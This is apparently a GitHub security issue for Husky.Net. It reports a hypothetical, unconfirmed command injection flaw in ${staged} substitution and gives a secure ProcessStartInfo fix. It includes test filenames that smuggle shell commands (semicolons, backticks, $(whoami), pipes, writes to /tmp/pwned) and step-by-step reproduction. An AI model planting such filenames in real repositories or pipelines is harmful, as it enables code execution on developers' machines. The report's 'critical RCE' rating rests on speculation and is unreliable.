Skip to content

[Security] Potential Command Injection Vulnerability in Variable Substitution #139

@yasserebrahimi

Description

@yasserebrahimi

Version

v0.7.2

Details

Summary

While analyzing the Husky.Net codebase, I've identified a potential command injection vulnerability in the variable substitution mechanism used for ${staged}, ${matched}, and other dynamic variables.

Severity

🔴 CRITICAL - Potential Remote Code Execution (RCE)

CWE Classification

  • CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Description

If the variable substitution mechanism does not properly sanitize or escape special characters in filenames before inserting them into shell commands, an attacker could potentially execute arbitrary commands by creating files with malicious names.

Proof of Concept (PoC)

Scenario 1: Command Injection via Filename

# Create a malicious filename
touch 'innocentfile.txt"; echo HACKED > /tmp/pwned; echo ".cs'

# Stage the file
git add .

# When Husky runs the pre-commit hook with ${staged}:
# Expected: dotnet format --include "innocentfile.txt\"; echo HACKED > /tmp/pwned; echo \".cs"
# If not properly escaped, this becomes:
# dotnet format --include innocentfile.txt"; echo HACKED > /tmp/pwned; echo ".cs
# Result: Command injection!

Scenario 2: Testing Multiple Special Characters

# Test various injection vectors
touch 'file`whoami`.txt'           # Command substitution
touch 'file$(whoami).txt'          # Command substitution
touch 'file;whoami;.txt'           # Command separator
touch 'file&&whoami&&.txt'         # Logical AND
touch 'file||whoami||.txt'         # Logical OR  
touch 'file|whoami|.txt'           # Pipe

Affected Components

Based on the architecture, the following components are likely affected:

  • Variable substitution logic (${staged}, ${matched}, ${args}, etc.)
  • Task runner execution
  • Command argument building
  • Any place where Process.Start() is used with shell execution

Vulnerable Code Pattern (Hypothetical)

// VULNERABLE - Example of potentially problematic code
var stagedFiles = GetStagedFiles(); // Returns list of filenames
var filesString = string.Join(" ", stagedFiles); // Simple string join
var command = $"dotnet format --include {filesString}"; // String interpolation

// If using shell execution:
Process.Start("bash", $"-c \"{command}\""); // VULNERABLE!
// or
Process.Start("cmd", $"/c {command}"); // VULNERABLE!

Recommended Fix

// SECURE - Proper implementation
var processInfo = new ProcessStartInfo
{
    FileName = "dotnet",
    UseShellExecute = false, // Critical: Disable shell execution
    RedirectStandardOutput = true,
    RedirectStandardError = true
};

// Add base arguments
processInfo.ArgumentList.Add("format");
processInfo.ArgumentList.Add("--include");

// Add each file as a separate argument
// ArgumentList automatically handles proper escaping
foreach(var file in GetStagedFiles())
{
    processInfo.ArgumentList.Add(file);
}

using var process = Process.Start(processInfo);
await process.WaitForExitAsync();

Security Best Practices

  1. Never use UseShellExecute = true when processing user-controlled input
  2. Always use ProcessStartInfo.ArgumentList instead of string concatenation
  3. Validate and sanitize all file paths before processing
  4. Implement whitelist-based validation for allowed characters in filenames
  5. Use Path.GetFullPath() and verify paths are within the repository

Testing Steps

Step 1: Create Test Repository

mkdir husky-test
cd husky-test
git init
dotnet new console
dotnet tool install Husky
dotnet husky install

Step 2: Configure Husky with Vulnerable Task

{
  "$schema": "https://alirezanet.github.io/Husky.Net/schema.json",
  "tasks": [
    {
      "name": "test-injection",
      "group": "pre-commit",
      "command": "echo",
      "args": ["Files:", "${staged}"]
    }
  ]
}

Step 3: Create Malicious Files

# Test 1: Command separator
touch 'file.txt"; echo INJECTED; echo ".cs'
git add .
git commit -m "Test 1"

# Check if "INJECTED" appears in output

Impact Assessment

If this vulnerability exists:

  • Confidentiality: HIGH - Attacker could read sensitive files
  • Integrity: HIGH - Attacker could modify or delete files
  • Availability: HIGH - Attacker could execute denial of service
  • Scope: LOCAL - Requires local repository access

Attack Scenarios:

  1. Malicious Contributor: An attacker with commit access creates files with malicious names
  2. Supply Chain Attack: A compromised dependency includes files with malicious names
  3. Social Engineering: Tricking a developer into cloning a repository with pre-created malicious files

Mitigation for Users (Until Fixed)

  1. Audit all files in repositories before committing
  2. Review task-runner.json configurations
  3. Avoid running Husky.Net in untrusted repositories
  4. Use containerized/sandboxed environments for testing

Related Issues

Additional Context

  • Husky.Net Version: v0.7.2 (latest)
  • Operating System: Affects all platforms (Windows, macOS, Linux)

Request

Could the maintainers please:

  1. Confirm if this vulnerability exists
  2. Audit the command execution code paths
  3. If confirmed, assign a CVE identifier
  4. Release a security patch
  5. Publish a security advisory

References

Thank you for your attention to this security concern.

Steps to reproduce

Prerequisites

  • .NET SDK 6.0 or later
  • Git installed
  • Linux/macOS (bash) or Windows (PowerShell/cmd)
  • Husky.Net v0.7.2

Step 1: Create Test Repository

# Create a new test directory
mkdir husky-security-test
cd husky-security-test

# Initialize git repository
git init

# Create a new .NET console project
dotnet new console -n TestProject

# Install Husky as local tool
dotnet new tool-manifest
dotnet tool install Husky

Step 2: Install and Configure Husky

# Install Husky hooks
dotnet husky install

# Verify .husky directory was created
ls -la .husky/

Step 3: Create Task Runner Configuration

Create .husky/task-runner.json with the following content:

{
  "$schema": "https://alirezanet.github.io/Husky.Net/schema.json",
  "tasks": [
    {
      "name": "test-variable-substitution",
      "group": "pre-commit",
      "command": "echo",
      "args": ["Staged files:", "${staged}"],
      "include": ["**/*.cs"]
    }
  ]
}

Step 4: Configure Pre-Commit Hook

Edit .husky/pre-commit file:

#!/bin/sh
. "$(dirname "$0")/_/husky.sh"

dotnet husky run --group pre-commit

Make it executable:

chmod +x .husky/pre-commit

Step 5: Create Malicious Filename (Test 1 - Basic Injection)

# Create a file with command separator in name
touch 'TestFile.cs"; echo "SECURITY_BREACH_DETECTED"; echo "x.cs'

# Check the file was created
ls -la

Step 6: Stage and Commit

# Stage the malicious file
git add .

# Attempt to commit (this will trigger the hook)
git commit -m "Test command injection"

# OBSERVE THE OUTPUT:
# - Does "SECURITY_BREACH_DETECTED" appear?
# - If yes, command injection is confirmed
# - If no, the escaping is working correctly

Step 7: Additional Test Cases

Test 2: Command Substitution (Backticks)

touch 'File`echo INJECTED_VIA_BACKTICKS`.cs'
git add .
git commit -m "Test 2"

Test 3: Command Substitution ($())

touch 'File$(echo INJECTED_VIA_DOLLAR).cs'
git add .
git commit -m "Test 3"

Test 4: Pipe Character

touch 'File.cs | echo INJECTED_VIA_PIPE | cat'
git add .
git commit -m "Test 4"

Test 5: Logical AND

touch 'File.cs && echo INJECTED_VIA_AND && true'
git add .
git commit -m "Test 5"

Test 6: Semicolon Separator

touch 'File.cs; touch /tmp/pwned; echo x'
git add .
git commit -m "Test 6"

# After commit, check if file was created:
ls -la /tmp/pwned

Step 8: Verify Security Issue

Check the output of each commit. If you see:

  • SECURITY_BREACH_DETECTED or similar injected text
  • ✅ Unexpected commands being executed
  • ✅ Files created in /tmp/ or other locations

Then the command injection vulnerability is CONFIRMED.

If you see:

  • ❌ Proper error handling
  • ❌ Escaped filenames in output
  • ❌ No injected commands executed

Then the issue may not exist or is already mitigated.

Step 9: Clean Up

cd ..
rm -rf husky-security-test

Expected Result

The malicious filenames should be properly escaped and treated as literal filenames, not as shell commands.

Actual Result (if vulnerable)

The shell interprets special characters in filenames as command separators, leading to arbitrary command execution.

Security Impact

If confirmed:

  • Local code execution via malicious filenames
  • Potential data exfiltration
  • Supply chain attack vector
  • Build pipeline compromise

Metadata

Metadata

Assignees

No one assigned

    Labels

    enhancementNew feature or request

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions